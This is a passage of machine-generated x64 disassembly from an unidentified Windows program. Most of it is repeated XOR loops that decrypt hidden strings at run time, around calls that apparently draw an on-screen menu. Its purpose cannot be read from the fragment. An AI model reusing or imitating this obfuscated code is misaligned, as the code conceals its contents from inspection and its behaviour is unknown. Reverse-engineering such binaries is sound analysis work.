movd xmm5, edi
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400f8690]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400f86a0]
movd xmm1, dword [rbp]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movdqa xmm0, xmm3
xorps xmm2, xmm1
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd dword [rbp], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400f8690]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400f86a0]
movd xmm1, dword [rbp + 4]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 4], xmm2
jmp 0x140053174
lea r9, [rbp]
mov r8d, r14d
nop dword [rax + rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 8
jl 0x140053140
lea r8, [rbp + 0x198]
movzx edx, r10b
lea rcx, [rbp]
call fcn.14004c890
test al, al
je 0x140054ecd
mov dword [reloc.WS2_32.dll_closesocket], 2
jmp 0x140054ecd
cmp eax, 3
jne 0x140054ecd
mov rdx, qword [0x1401e2a88]
movaps xmm0, xmm11
movaps xmm1, xmm10
movss dword [rbp + 0x1b8], xmm11
addss xmm1, dword [0x1400f8574]
addss xmm0, xmm8
movss dword [rbp + 0x1bc], xmm10
mov dword [rbp + 0x1a0], 0x3f800000
mov dword [rbp + 0x1a4], 0x3f800000
mov qword [rbp + 0x1a8], 0
movss dword [rbp + 0x1b4], xmm1
movss dword [rbp + 0x1b0], xmm0
cmp rdx, qword [rbx + 0x98]
setne dil
je 0x14005321a
mov rcx, rbx
call fcn.14002c6d0
mov edx, 6
mov rcx, rbx
lea r8d, [rdx - 2]
call fcn.14002c750
lea rax, [rbp + 0x1a0]
mov dword [rsp + 0x28], 0xffffffff
lea r9, [rbp + 0x1a8]
mov qword [rsp + 0x20], rax
lea r8, [rbp + 0x1b0]
mov rcx, rbx
lea rdx, [rbp + 0x1b8]
call fcn.14002c870
test dil, dil
je 0x14005328c
movsxd rcx, dword [rbx + 0x68]
lea eax, [rcx - 1]
mov dword [rbx + 0x68], eax
test eax, eax
jne 0x140053274
mov rax, r14
jmp 0x14005327d
mov rax, qword [rbx + 0x70]
mov rax, qword [rax + rcx*8 - 0x10]
mov rcx, rbx
mov qword [rbx + 0x98], rax
call fcn.14002c480
mov rcx, qword [0x1401e29d0]
lea rdx, [rbp + 0x1c0]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movzx ecx, word [0x1400f7c1c]
movss xmm0, dword [rax + 0x50]
subss xmm0, dword [rax + 0x9c]
movss xmm2, dword [rax + 0x54]
subss xmm2, dword [rax + 0xa0]
addss xmm0, xmm13
addss xmm2, xmm13
movss dword [rax + 0x118], xmm0
movss dword [rax + 0x11c], xmm2
movss xmm1, dword [rax + 0x130]
movss xmm0, dword [rax + 0x134]
maxss xmm1, dword [rax + 0x118]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm1
movss dword [rax + 0x134], xmm0
mov eax, dword [str.cwgagx7]
mov dword [rbp - 0x40], eax
movzx eax, byte [0x1400f7c1e]
xor byte [rbp - 0x3f], 0x32
xor al, 0x37
xor byte [rbp - 0x3e], 0x33
xor byte [rbp - 0x3d], 0x34
mov word [rbp - 0x3c], cx
xor cl, 0x35
xor byte [rbp - 0x3b], 0x36
mov byte [rbp - 0x3c], cl
lea rcx, [rbp - 0x40]
mov byte [rbp - 0x3a], al
mov dword [rbp + 0x1c0], 0x42a00000
mov dword [rbp + 0x1c4], 0x41c80000
mov byte [rbp - 0x40], 0x52
call fcn.14004bc60
test al, al
mov eax, dword [str.weq]
mov dword [rsp + 0x70], eax
movzx eax, word [0x1400f80dc]
mov word [rsp + 0x74], ax
movzx eax, byte [0x1400f80de]
je 0x1400533a0
mov byte [reloc.WS2_32.dll_accept], 1
mov dword [0x1401e2a54], r14d
nop word [rax + rax]
movaps xmm0, xmmword [0x1400f87b0]
lea rcx, [rbp + 0x740]
xor byte [rsp + 0x71], 0x32
xor al, 0x37
xor byte [rsp + 0x72], 0x33
xor byte [rsp + 0x73], 0x34
xor byte [rsp + 0x74], 0x35
xor byte [rsp + 0x75], 0x36
mov byte [rsp + 0x76], al
movups xmmword [rbp + 0x740], xmm0
mov byte [rsp + 0x70], 0x46
call fcn.140003830
movaps xmm1, xmm10
mov r8d, eax
mov rcx, r12
addss xmm1, dword [0x1400f8508]
addss xmm11, dword [0x1400f84d8]
test eax, 0xff000000
je 0x140053486
lea rdx, [rsp + 0x70]
mov rax, 0xffffffffffffffff
inc rax
cmp byte [rdx + rax], 0
jne 0x140053410
lea rdx, [rsp + 0x70]
add rdx, rax
lea rax, [rsp + 0x70]
cmp rax, rdx
je 0x140053486
test r12, r12
jne 0x140053438
mov rax, qword [rbx + 0x38]
mov rcx, qword [rax + 8]
movups xmm0, xmmword [rbx + 0x88]
mov byte [rsp + 0x48], 0
lea rax, [rsp + 0x70]
movss dword [rsp + 0x40], xmm12
movaps xmm2, xmm14
mov qword [rsp + 0x38], rdx
mov rdx, rbx
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x60]
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x28], rax
movaps xmm0, xmm11
mov dword [rsp + 0x20], r8d
unpcklps xmm0, xmm1
movq r9, xmm0
call fcn.140033470
mov eax, dword [0x1400f7bc0]
mov r8d, r14d
mov dword [rbp + 0x310], eax
mov edi, Ordinal_33
movzx eax, word [0x1400f7bc4]
mov word [rbp + 0x314], ax
movups xmm0, xmmword [str.swpxs]
movups xmm1, xmmword [0x1400f7ba8]
movups xmmword [rbp + 0x2e8], xmm0
movsd xmm0, qword [0x1400f7bb8]
movsd qword [rbp + 0x308], xmm0
movups xmmword [rbp + 0x2f8], xmm1
cmp r13d, 2
jl 0x14005362d
movdqa xmm0, xmmword [0x1400f86e0]
lea rcx, [rbp + 0x2e8]
movdqa xmm5, xmmword [0x1400f8670]
movdqa xmm4, xmmword [0x1400f87e0]
movdqa xmm7, xmmword [0x1400f8690]
movdqa xmmword [rsp + 0x60], xmm0
mov edx, dword [rsp + 0x60]
movd xmm6, r15d
movd xmm8, edi
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1400f86a0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400f86a0]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x28
jl 0x140053520
cmp r8d, 0x2e
jge 0x140053674
movsxd rax, r8d
lea r9, [rbp + 0x2e8]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x2e
jl 0x140053640
movaps xmm0, xmmword [0x1400f8790]
lea rcx, [rbp + 0x750]
movups xmmword [rbp + 0x750], xmm0
call fcn.140003830
movaps xmm1, xmm10
mov r9d, eax
mov r8, r12
addss xmm1, dword [0x1400f8520]
test eax, 0xff000000
je 0x14005373f
lea rax, [rbp + 0x2e8]
mov rcx, 0xffffffffffffffff
nop dword [rax]
inc rcx
cmp byte [rax + rcx], 0
jne 0x1400536c0
lea rdx, [rbp + 0x2e8]
add rdx, rcx
lea rax, [rbp + 0x2e8]
cmp rax, rdx
je 0x14005373f
test r12, r12
jne 0x1400536ec
mov rax, qword [rbx + 0x38]
mov r8, qword [rax + 8]
movups xmm0, xmmword [rbx + 0x88]
mov byte [rsp + 0x48], 0
lea rax, [rbp + 0x2e8]
movss dword [rsp + 0x40], xmm12
movaps xmm2, xmm13
mov qword [rsp + 0x38], rdx
mov rcx, r8
mov qword [rsp + 0x30], rax
mov rdx, rbx
movups xmmword [rsp + 0x60], xmm0
lea rax, [rsp + 0x60]
movaps xmm0, xmm11
mov qword [rsp + 0x28], rax
unpcklps xmm0, xmm1
mov dword [rsp + 0x20], r9d
movq r9, xmm0
call fcn.140033470
movzx eax, word [0x1400f7c48]
mov r8d, r14d
mov word [rbp + 0x438], ax
movups xmm0, xmmword [str.arm]
movups xmm1, xmmword [0x1400f7c30]
movups xmmword [rbp + 0x410], xmm0
movsd xmm0, qword [0x1400f7c40]
movsd qword [rbp + 0x430], xmm0
movups xmmword [rbp + 0x420], xmm1
cmp r13d, 2
jl 0x1400538ce
movdqa xmm0, xmmword [0x1400f86e0]
lea rcx, [rbp + 0x410]
movdqa xmm5, xmmword [0x1400f8670]
movdqa xmm4, xmmword [0x1400f87e0]
movdqa xmm7, xmmword [0x1400f8690]
movdqa xmmword [rsp + 0x60], xmm0
mov edx, dword [rsp + 0x60]
movd xmm6, r15d
movd xmm8, edi
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1400f86a0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400f86a0]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x28
jl 0x1400537c1
cmp r8d, 0x2a
jge 0x140053914
movsxd rax, r8d
lea r9, [rbp + 0x410]
add r9, rax
nop dword [rax + rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x2a
jl 0x1400538e0
movaps xmm0, xmmword [0x1400f8790]
lea rcx, [rbp + 0x760]
movups xmmword [rbp + 0x760], xmm0
call fcn.140003830
movaps xmm1, xmm10
mov r9d, eax
mov r8, r12
addss xmm1, dword [0x1400f8528]
test eax, 0xff000000
je 0x1400539df
lea rax, [rbp + 0x410]
mov rcx, 0xffffffffffffffff
nop dword [rax]
inc rcx
cmp byte [rax + rcx], 0
jne 0x140053960
lea rdx, [rbp + 0x410]
add rdx, rcx
lea rax, [rbp + 0x410]
cmp rax, rdx
je 0x1400539df
test r12, r12
jne 0x14005398c
mov rax, qword [rbx + 0x38]
mov r8, qword [rax + 8]
movups xmm0, xmmword [rbx + 0x88]
mov byte [rsp + 0x48], 0
lea rax, [rbp + 0x410]
movss dword [rsp + 0x40], xmm12
movaps xmm2, xmm13
mov qword [rsp + 0x38], rdx
mov rcx, r8
mov qword [rsp + 0x30], rax
mov rdx, rbx
movups xmmword [rsp + 0x60], xmm0
lea rax, [rsp + 0x60]
movaps xmm0, xmm11
mov qword [rsp + 0x28], rax
unpcklps xmm0, xmm1
mov dword [rsp + 0x20], r9d
movq r9, xmm0
call fcn.140033470
movzx eax, word [0x1400f8050]
mov r8d, r14d
mov word [rbp + 0x290], ax
movzx eax, byte [0x1400f8052]
mov byte [rbp + 0x292], al
movups xmm0, xmmword [str.rg__zbxxwy]
movups xmm1, xmmword [0x1400f8038]
movups xmmword [rbp + 0x268], xmm0
movsd xmm0, qword [0x1400f8048]
movsd qword [rbp + 0x288], xmm0
movups xmmword [rbp + 0x278], xmm1
cmp r13d, 2
jl 0x140053b7d
movdqa xmm0, xmmword [0x1400f86e0]
lea rcx, [rbp + 0x268]
movdqa xmm5, xmmword [0x1400f8670]
movdqa xmm4, xmmword [0x1400f87e0]
movdqa xmm7, xmmword [0x1400f8690]
movdqa xmmword [rsp + 0x60], xmm0
mov edx, dword [rsp + 0x60]
movd xmm6, r15d
movd xmm8, edi
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1400f86a0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400f86a0]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x28
jl 0x140053a70
cmp r8d, 0x2b
jge 0x140053bc4
movsxd rax, r8d
lea r9, [rbp + 0x268]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x2b
jl 0x140053b90
movaps xmm0, xmmword [0x1400f8790]
lea rcx, [rbp + 0x770]
movups xmmword [rbp + 0x770], xmm0
call fcn.140003830
movaps xmm1, xmm10
mov r9d, eax
mov r8, r12
addss xmm1, dword [0x1400f8530]
test eax, 0xff000000
je 0x140053c8f
lea rax, [rbp + 0x268]
mov rcx, 0xffffffffffffffff
nop dword [rax]
inc rcx
cmp byte [rax + rcx], 0
jne 0x140053c10
lea rdx, [rbp + 0x268]
add rdx, rcx
lea rax, [rbp + 0x268]
cmp rax, rdx
je 0x140053c8f
test r12, r12
jne 0x140053c3c
mov rax, qword [rbx + 0x38]
mov r8, qword [rax + 8]
movups xmm0, xmmword [rbx + 0x88]
mov byte [rsp + 0x48], 0
lea rax, [rbp + 0x268]
movss dword [rsp + 0x40], xmm12
movaps xmm2, xmm13
mov qword [rsp + 0x38], rdx
mov rcx, r8
mov qword [rsp + 0x30], rax
mov rdx, rbx
movups xmmword [rsp + 0x60], xmm0
lea rax, [rsp + 0x60]
movaps xmm0, xmm11
mov qword [rsp + 0x28], rax
unpcklps xmm0, xmm1
mov dword [rsp + 0x20], r9d
movq r9, xmm0
call fcn.140033470
movzx eax, word [0x1400f7ea8]
mov r8d, r14d
mov word [rbp + 0x468], ax
movups xmm0, xmmword [str.ezvg]
movups xmm1, xmmword [0x1400f7e90]
movups xmmword [rbp + 0x440], xmm0
movsd xmm0, qword [0x1400f7ea0]
movsd qword [rbp + 0x460], xmm0
movups xmmword [rbp + 0x450], xmm1
cmp r13d, 2
jl 0x140053e1e
movdqa xmm0, xmmword [0x1400f86e0]
lea rcx, [rbp + 0x440]
movdqa xmm5, xmmword [0x1400f8670]
movdqa xmm4, xmmword [0x1400f87e0]
movdqa xmm7, xmmword [0x1400f8690]
movdqa xmmword [rsp + 0x60], xmm0
mov edx, dword [rsp + 0x60]
movd xmm6, r15d
movd xmm8, edi
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1400f86a0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400f86a0]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x28
jl 0x140053d11
cmp r8d, 0x2a
jge 0x140053e64
movsxd rax, r8d
lea r9, [rbp + 0x440]
add r9, rax
nop dword [rax + rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x2a
jl 0x140053e30
movaps xmm0, xmmword [0x1400f8790]
lea rcx, [rbp + 0x780]
movups xmmword [rbp + 0x780], xmm0
call fcn.140003830
movaps xmm1, xmm10
mov r9d, eax
mov r8, r12
addss xmm1, dword [0x1400f8534]
test eax, 0xff000000
je 0x140053f2f
lea rax, [rbp + 0x440]
mov rcx, 0xffffffffffffffff
nop dword [rax]
inc rcx
cmp byte [rax + rcx], 0
jne 0x140053eb0
lea rdx, [rbp + 0x440]
add rdx, rcx
lea rax, [rbp + 0x440]
cmp rax, rdx
je 0x140053f2f
test r12, r12
jne 0x140053edc
mov rax, qword [rbx + 0x38]
mov r8, qword [rax + 8]
movups xmm0, xmmword [rbx + 0x88]
mov byte [rsp + 0x48], 0
lea rax, [rbp + 0x440]
movss dword [rsp + 0x40], xmm12
movaps xmm2, xmm13
mov qword [rsp + 0x38], rdx
mov rcx, r8
mov qword [rsp + 0x30], rax
mov rdx, rbx
movups xmmword [rsp + 0x60], xmm0
lea rax, [rsp + 0x60]
movaps xmm0, xmm11
mov qword [rsp + 0x28], rax
unpcklps xmm0, xmm1
mov dword [rsp + 0x20], r9d
movq r9, xmm0
call fcn.140033470
mov eax, dword [0x1400f8248]
mov r8d, r14d
mov dword [rbp + 0xa8], eax
movzx eax, word [0x1400f824c]
mov word [rbp + 0xac], ax
movzx eax, byte [0x1400f824e]
mov byte [rbp + 0xae], al
movups xmm0, xmmword [0x1400f8238]
movups xmmword [rbp + 0x98], xmm0
cmp r13d, 2
jl 0x1400540bd
movdqa xmm0, xmmword [0x1400f86e0]
lea rcx, [rbp + 0x98]
movdqa xmm5, xmmword [0x1400f8670]
movdqa xmm4, xmmword [0x1400f87e0]
movdqa xmm7, xmmword [0x1400f8690]
movdqa xmmword [rsp + 0x60], xmm0
mov edx, dword [rsp + 0x60]
movd xmm6, r15d
movd xmm8, edi
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1400f86a0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400f86a0]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x10
jl 0x140053fb0
cmp r8d, 0x17
jge 0x140054104
movsxd rax, r8d
lea r9, [rbp + 0x98]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x17
jl 0x1400540d0
movaps xmm0, xmmword [0x1400f8790]
lea rcx, [rbp + 0x790]
movups xmmword [rbp + 0x790], xmm0
call fcn.140003830
movaps xmm1, xmm10
mov r9d, eax
mov r8, r12
addss xmm1, dword [0x1400f853c]
test eax, 0xff000000
je 0x1400541cf
lea rax, [rbp + 0x98]
mov rcx, 0xffffffffffffffff
nop dword [rax]
inc rcx
cmp byte [rax + rcx], 0
jne 0x140054150
lea rdx, [rbp + 0x98]
add rdx, rcx
lea rax, [rbp + 0x98]
cmp rax, rdx
je 0x1400541cf
test r12, r12
jne 0x14005417c
mov rax, qword [rbx + 0x38]
mov r8, qword [rax + 8]
movups xmm0, xmmword [rbx + 0x88]
mov byte [rsp + 0x48], 0
lea rax, [rbp + 0x98]
movss dword [rsp + 0x40], xmm12
movaps xmm2, xmm13
mov qword [rsp + 0x38], rdx
mov rcx, r8
mov qword [rsp + 0x30], rax
mov rdx, rbx
movups xmmword [rsp + 0x60], xmm0
lea rax, [rsp + 0x60]
movaps xmm0, xmm11
mov qword [rsp + 0x28], rax
unpcklps xmm0, xmm1
mov dword [rsp + 0x20], r9d
movq r9, xmm0
call fcn.140033470
cmp byte [str.Hga], 0
movups xmm0, xmmword [0x1400f7f58]
movups xmmword [rbp + 0x378], xmm0
movsd xmm0, qword [0x1400f7f68]
movsd qword [rbp + 0x388], xmm0
je 0x140054395
cmp r13d, 2
jl 0x140054357
movdqa xmm0, xmmword [0x1400f86e0]
lea rcx, [rbp + 0x378]
movdqa xmm5, xmmword [0x1400f8670]
mov edx, r14d
movdqa xmm4, xmmword [0x1400f87e0]
movdqa xmm7, xmmword [0x1400f8690]
movdqa xmmword [rsp + 0x60], xmm0
mov r8d, dword [rsp + 0x60]
movd xmm6, r15d
movd xmm8, edi
nop dword [rax]
nop word [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add edx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1400f86a0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400f86a0]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp edx, 0x18
jl 0x140054250
jmp 0x140054395
lea r9, [rbp + 0x378]
mov r8d, r14d
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
